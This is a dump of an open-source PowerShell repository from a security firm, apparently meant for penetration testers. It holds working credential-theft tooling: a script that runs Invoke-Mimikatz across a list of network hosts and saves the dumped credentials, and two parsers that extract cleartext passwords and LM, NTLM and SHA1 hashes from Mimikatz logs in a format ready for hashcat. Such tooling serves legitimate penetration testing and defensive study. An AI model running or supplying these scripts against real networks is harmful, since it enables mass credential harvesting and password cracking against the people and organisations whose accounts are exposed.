├── PowerShellUtilities.psd1 ├── PowerShellUtilities.psm1 ├── Invoke-KleptoKitty.ps1 ├── .gitignore ├── README.md ├── LICENSE ├── Invoke-MimikatzNetwork.ps1 ├── Select-MimikatzLocalAccounts.ps1 └── Select-MimikatzDomainAccounts.ps1 /PowerShellUtilities.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/scipag/PowerShellUtilities/HEAD/PowerShellUtilities.psd1 -------------------------------------------------------------------------------- /PowerShellUtilities.psm1: -------------------------------------------------------------------------------- 1 | <# 2 | PowerShellUtilities provides various utility commandlets. 3 | 4 | Author: Eleanore Young, Michael Schneider, scip AG 5 | License: MIT 6 | Copyright: 2017 Eleanore Young, Michael Schneider, scip AG 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | #> 10 | Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /Invoke-KleptoKitty.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Invoke-KleptoKitty - Deploys Mimikatz and collects credentials 3 | 4 | =^._.^= 5 | _( )/ KleptoKitty 6 | 7 | #> 8 | 9 | Write-Output "`n" 10 | Write-Output " =^._.^=" 11 | Write-Output " _( )/ KleptoKitty" 12 | Write-Output "`n" 13 | 14 | Write-Host -ForegroundColor Red "KleptoKitty has moved. The new home can be found at https://github.com/scipag/KleptoKitty." 15 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.gitignore.io/api/windows 2 | 3 | ### Windows ### 4 | # Windows thumbnail cache files 5 | Thumbs.db 6 | ehthumbs.db 7 | ehthumbs_vista.db 8 | 9 | # Folder config file 10 | Desktop.ini 11 | 12 | # Recycle Bin used on file shares 13 | $RECYCLE.BIN/ 14 | 15 | # Windows Installer files 16 | *.cab 17 | *.msi 18 | *.msm 19 | *.msp 20 | 21 | # Windows shortcuts 22 | *.lnk 23 | 24 | # End of https://www.gitignore.io/api/windows 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerShellUtilities 2 | 3 | PowerShellUtilities provides various utility commandlets. 4 | 5 | ## Invoke-MimikatzNetwork 6 | 7 | Invoke Mimikatz using the PowerSploit framework over the network. 8 | 9 | ## Select-MimikatzDomainAccounts 10 | 11 | Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha. 12 | 13 | ## Select-MimikatzLocalAccounts 14 | 15 | Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha. 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 scip AG 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Invoke-MimikatzNetwork.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | ScipUtilities provides various utility commandlets. 3 | 4 | Author: Eleanore Young, Michael Schneider, scip AG 5 | License: MIT 6 | Copyright: 2017 Eleanore Young, Michael Schneider, scip AG 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | #> 10 | 11 | #Requires -Version 5 12 | Set-StrictMode -Version 5 13 | 14 | function Invoke-MimikatzNetwork { 15 | <# 16 | .SYNOPSIS 17 | Invoke Mimikatz using the PowerSploit framework over the network. 18 | 19 | .PARAMETER HostFile 20 | The path to a list of target hosts. 21 | #> 22 | [CmdletBinding()] 23 | Param ( 24 | [Parameter(Mandatory=$true)] 25 | [ValidateScript({Test-Path $_})] 26 | [String] 27 | $HostFile 28 | ) 29 | 30 | $BasePath = "C:\tmp" 31 | $Timestamp = (Get-Date).ToString("yyyyMd") 32 | $Protocol = "$basePath\protocol-$timestamp.txt" 33 | $Hosts = Get-Content $HostFile 34 | 35 | Foreach ($ComputerName in $Hosts) { 36 | 37 | $Time = Get-Date -Format G 38 | $StartMessage = "[*] $Time - Connecting to $ComputerName..." 39 | $StartMessage | Tee-Object -Append -FilePath $Protocol 40 | 41 | $LogMimikatz = "$BasePath\cred_$ComputerName.log" 42 | 43 | Try 44 | { 45 | Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz 46 | } 47 | Catch 48 | { 49 | $Time = Get-Date -Format G 50 | $ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId 51 | $ErrorMessage | Tee-Object -Append -FilePath $Protocol 52 | $ErrorInvokeMimikatz = $null 53 | } 54 | 55 | $Time = Get-Date -Format G 56 | $EndMessage = "[*] $Time - $ComputerName done" 57 | $EndMessage | Tee-Object -Append -FilePath $Protocol 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /Select-MimikatzLocalAccounts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | ScipUtilities provides various utility commandlets. 3 | 4 | Author: Eleanore Young, Michael Schneider, scip AG 5 | License: MIT 6 | Copyright: 2017 Eleanore Young, Michael Schneider, scip AG 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | #> 10 | 11 | #Requires -Version 5 12 | Set-StrictMode -Version 5 13 | 14 | function New-LocalAccountEntry { 15 | [CmdletBinding()] 16 | Param ( 17 | [ValidateNotNullOrEmpty()] 18 | [String] 19 | $Hostname, 20 | 21 | [ValidateNotNullOrEmpty()] 22 | [String] 23 | $Username, 24 | 25 | [AllowEmptyString()] 26 | [String] 27 | $LmHash, 28 | 29 | [AllowEmptyString()] 30 | [String] 31 | $NtlmHash 32 | ) 33 | 34 | New-Object -TypeName PSObject -Prop @{ 35 | 'Hostname' = $Hostname; 36 | 'Username' = $Username; 37 | 'LM' = $LmHash; 38 | 'NTLM' = $NtlmHash; 39 | } 40 | } 41 | 42 | function Select-MimikatzLocalAccounts { 43 | <# 44 | .SYNOPSIS 45 | Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha. 46 | 47 | .PARAMETER Path 48 | Choose the path or GLOB pattern that tells the function which files to search. 49 | 50 | .PARAMETER OutputTo 51 | Output the results either to the console, to a format parseable in hashcat, or to CSV. 52 | 53 | .PARAMETER HashcatSelect 54 | Choose to look for either passwords or hashes (ntlm and lm). 55 | #> 56 | [CmdletBinding()] 57 | Param ( 58 | [ValidateNotNullOrEmpty()] 59 | [String] 60 | $Path = "*.log", 61 | 62 | [ValidateSet("console", "hashcat", "csv")] 63 | [String] 64 | $OutputTo = "console", 65 | 66 | [ValidateSet("ntlm", "lm")] 67 | [String] 68 | $HashcatSelect = "ntlm" 69 | ) 70 | 71 | $LocalHashRegex = "lsadump::sam[\r\n]+Domain\s+:\s+(?[-_a-zA-Z0-9]+)[\r\n]+SysKey.*[\r\n]+Local\sSID.*[\r\n]+SAMKey.*[\r\n]+(?:RID.*[\r\n]*User\s+:\s+(?[-_a-zA-Z0-9]+)[\r\n]+LM\s+:\s+(?[0-9a-fA-F]*)[\r\n]+NTLM\s+:\s+(?[0-9a-fA-F]*)[\r\n]+)+" 72 | 73 | $LocalAccounts = New-Object System.Collections.Generic.List[System.Object] 74 | Foreach ($LogFile in Get-ChildItem -Recurse $Path) { 75 | $Content = Get-Content -Raw -Path $LogFile 76 | 77 | $LocalHashMatches = Select-String -InputObject $Content -AllMatches -Pattern $LocalHashRegex 78 | if ($LocalHashMatches -ne $null) { 79 | Foreach ($Match in $LocalHashMatches.Matches) { 80 | $Hostname = $Match.Groups["host"].Value 81 | For ($i=0; $i -lt $Match.Groups["username"].Captures.Count; $i++) { 82 | $Username = $Match.Groups["username"].Captures[$i].Value 83 | $LmHash = $Match.Groups["lm"].Captures[$i].Value 84 | $NtlmHash = $Match.Groups["ntlm"].Captures[$i].Value 85 | $SearchEntry = New-LocalAccountEntry -Hostname $Hostname -Username $Username -LmHash $LmHash -NtlmHash $NtlmHash 86 | $LocalAccounts.Add($SearchEntry) 87 | } 88 | } 89 | } 90 | } 91 | 92 | if ($LocalAccounts.Count -eq 0) { 93 | Write-Warning "Could not find any local accounts with password hashes." 94 | } 95 | 96 | if ($OutputTo -eq "csv") { 97 | $LocalAccounts | ConvertTo-Csv -NoTypeInformation 98 | } elseif ($OutputTo -eq "hashcat") { 99 | if ($HashcatSelect -eq "ntlm") { 100 | Foreach ($Entry in $LocalAccounts) { 101 | $Entry.Username + ":" + $Entry.NTLM 102 | } 103 | } elseif ($HashcatSelect -eq "lm") { 104 | Foreach ($Entry in $LocalAccounts) { 105 | $Entry.Username + ":" + $Entry.LM 106 | } 107 | } else { 108 | throw "Format '$HashcatSelect' doesn't make sense for hashcat output." 109 | } 110 | } else { 111 | $LocalAccounts | Format-Table 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /Select-MimikatzDomainAccounts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | ScipUtilities provides various utility commandlets. 3 | 4 | Author: Eleanore Young, Michael Schneider, scip AG 5 | License: MIT 6 | Copyright: 2017 Eleanore Young, Michael Schneider, scip AG 7 | Required Dependencies: None 8 | Optional Dependencies: None 9 | #> 10 | 11 | #Requires -Version 5 12 | Set-StrictMode -Version 5 13 | 14 | function New-DomainAccountEntry { 15 | [CmdletBinding()] 16 | Param ( 17 | [ValidateNotNullOrEmpty()] 18 | [String] 19 | $Domain, 20 | 21 | [ValidateNotNullOrEmpty()] 22 | [String] 23 | $Username, 24 | 25 | [AllowEmptyString()] 26 | [String] 27 | $Password, 28 | 29 | [AllowEmptyString()] 30 | [String] 31 | $NtlmHash, 32 | 33 | [AllowEmptyString()] 34 | [String] 35 | $Sha1Hash 36 | ) 37 | 38 | New-Object -TypeName PSObject -Prop @{ 39 | 'Domain' = $Domain.ToUpper(); 40 | 'Username' = $Username; 41 | 'Password' = $Password; 42 | 'NTLM' = $NtlmHash; 43 | 'SHA1' = $Sha1Hash; 44 | } 45 | } 46 | 47 | 48 | function Select-MimikatzDomainAccounts { 49 | <# 50 | .SYNOPSIS 51 | Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha. 52 | 53 | .PARAMETER Path 54 | Choose the path or GLOB pattern that tells the function which files to search. 55 | 56 | .PARAMETER OutputTo 57 | Output the results either to the console, to a format parseable in hashcat, or to CSV. 58 | 59 | .PARAMETER HashcatSelect 60 | Choose to look for either passwords or hashes (ntlm and sha1). 61 | #> 62 | [CmdletBinding()] 63 | Param ( 64 | [ValidateNotNullOrEmpty()] 65 | [String] 66 | $Path = "*.log", 67 | 68 | [ValidateSet("console", "hashcat", "csv")] 69 | [String] 70 | $OutputTo = "console", 71 | 72 | [ValidateSet("ntlm", "sha1")] 73 | [String] 74 | $HashcatSelect = "ntlm" 75 | ) 76 | 77 | $DomainPasswordRegex = "\s+\*\s+Username\s+:\s+(?[-_a-zA-Z0-9]+)[\r\n]+\s+\*\s+Domain\s+:\s+(?[a-zA-Z0-9]+)[\r\n]+\s+\*\s+Password\s+:\s+(?(?!\(null\)).*)[\r\n]+" 78 | $DomainHashRegex = "\s+\*\s+Username\s+:\s+(?[-_a-zA-Z0-9]+)[\r\n]+\s+\*\s+Domain\s+:\s+(?[a-zA-Z0-9]+)[\r\n]+(\s+\*\sFlags\s+:\s+.*[\r\n]+)?\s+\*\s+NTLM\s+:\s+(?[0-9a-fA-F]+)[\r\n]+\s+\*\sSHA1\s+:\s+(?[0-9a-fA-F]+)[\r\n]+" 79 | $DomainCredmanRegex = "credman\s+:\s+[\r\n]+(?:\s+\[[0-9]+\][\r\n]+\s+\*\s+Username\s+:\s+(?[-_a-zA-Z0-9]+)\\(?[-_a-zA-Z0-9]+)[\r\n]+\s+\*\s+Domain.*[\r\n]+\s+\*\s+Password\s+:\s+(?.*)[\r\n]+)+" 80 | 81 | $DomainAccounts = @{} 82 | Foreach ($LogFile in Get-ChildItem -Recurse $Path) { 83 | $Content = Get-Content -Raw -Path $LogFile 84 | 85 | $DomainPasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $DomainPasswordRegex 86 | if ($DomainPasswordMatches -ne $null) { 87 | Foreach ($Match in $DomainPasswordMatches.Matches) { 88 | $g = $Match.Groups 89 | $Username = $g["username"].Value 90 | if (!$DomainAccounts.ContainsKey($Username)) { 91 | $SearchEntry = New-DomainAccountEntry -Domain $g["domain"].Value -Username $Username -Password $g["password"].Value 92 | $DomainAccounts.Add($Username, $SearchEntry) 93 | } else { 94 | $SearchEntry = $DomainAccounts.Get_Item($Username) 95 | $SearchEntry.Password = $g["password"].Value 96 | $DomainAccounts.Set_Item($Username, $SearchEntry) 97 | } 98 | } 99 | } 100 | 101 | $DomainHashMatches = Select-String -InputObject $Content -AllMatches -Pattern $DomainHashRegex 102 | if ($DomainHashMatches -ne $null) { 103 | Foreach ($Match in $DomainHashMatches.Matches) { 104 | $g = $Match.Groups 105 | $Username = $g["username"].Value 106 | if (!$DomainAccounts.ContainsKey($Username)) { 107 | $SearchEntry = New-DomainAccountEntry -Domain $g["domain"].Value -Username $Username -NtlmHash $g["ntlm"].Value -Sha1Hash $g["sha1"].Value 108 | $DomainAccounts.Add($Username, $SearchEntry) 109 | } else { 110 | $SearchEntry = $DomainAccounts.Get_Item($Username) 111 | $SearchEntry.NTLM = $g["ntlm"].Value 112 | $SearchEntry.SHA1 = $g["sha1"].Value 113 | $DomainAccounts.Set_Item($Username, $SearchEntry) 114 | } 115 | } 116 | } 117 | 118 | $DomainCredmanMatches = Select-String -InputObject $Content -AllMatches -Pattern $DomainCredmanRegex 119 | if ($DomainCredmanMatches -ne $null) { 120 | Foreach ($Match in $DomainCredmanMatches.Matches) { 121 | For ($i=0; $i -lt $Match.Groups["username"].Captures.Count; $i++) { 122 | $Domain = $Match.Groups["domain"].Captures[$i].Value 123 | $Username = $Match.Groups["username"].Captures[$i].Value 124 | $Password = $Match.Groups["password"].Captures[$i].Value 125 | if (!$DomainAccounts.ContainsKey($Username)) { 126 | $SearchEntry = New-DomainAccountEntry -Domain $Domain -Username $Username -Password $Password 127 | $DomainAccounts.Add($Username, $SearchEntry) 128 | } else { 129 | $SearchEntry = $DomainAccounts.Get_Item($Username) 130 | $SearchEntry.Domain = $Domain 131 | $SearchEntry.Password = $Password 132 | $DomainAccounts.Set_Item($Username, $SearchEntry) 133 | } 134 | } 135 | } 136 | } 137 | } 138 | 139 | if ($DomainAccounts.Count -eq 0) { 140 | Write-Warning "Could not find any domain accounts." 141 | } else { 142 | $DomainAccounts = ($DomainAccounts.Values | Sort-Object -Property Username) 143 | } 144 | 145 | if ($OutputTo -eq "csv") { 146 | $DomainAccounts | ConvertTo-Csv -NoTypeInformation 147 | } elseif ($OutputTo -eq "hashcat") { 148 | if ($HashcatSelect -eq "ntlm") { 149 | Foreach ($Entry in $DomainAccounts) { 150 | $Entry.Username + ":" + $Entry.NTLM 151 | } 152 | } elseif ($HashcatSelect -eq "sha1") { 153 | Foreach ($Entry in $DomainAccounts) { 154 | $Entry.Username + ":" + $Entry.SHA1 155 | } 156 | } else { 157 | throw "Format '$HashcatSelect' doesn't make sense for hashcat output." 158 | } 159 | } else { 160 | $DomainAccounts | Format-Table 161 | } 162 | } 163 | --------------------------------------------------------------------------------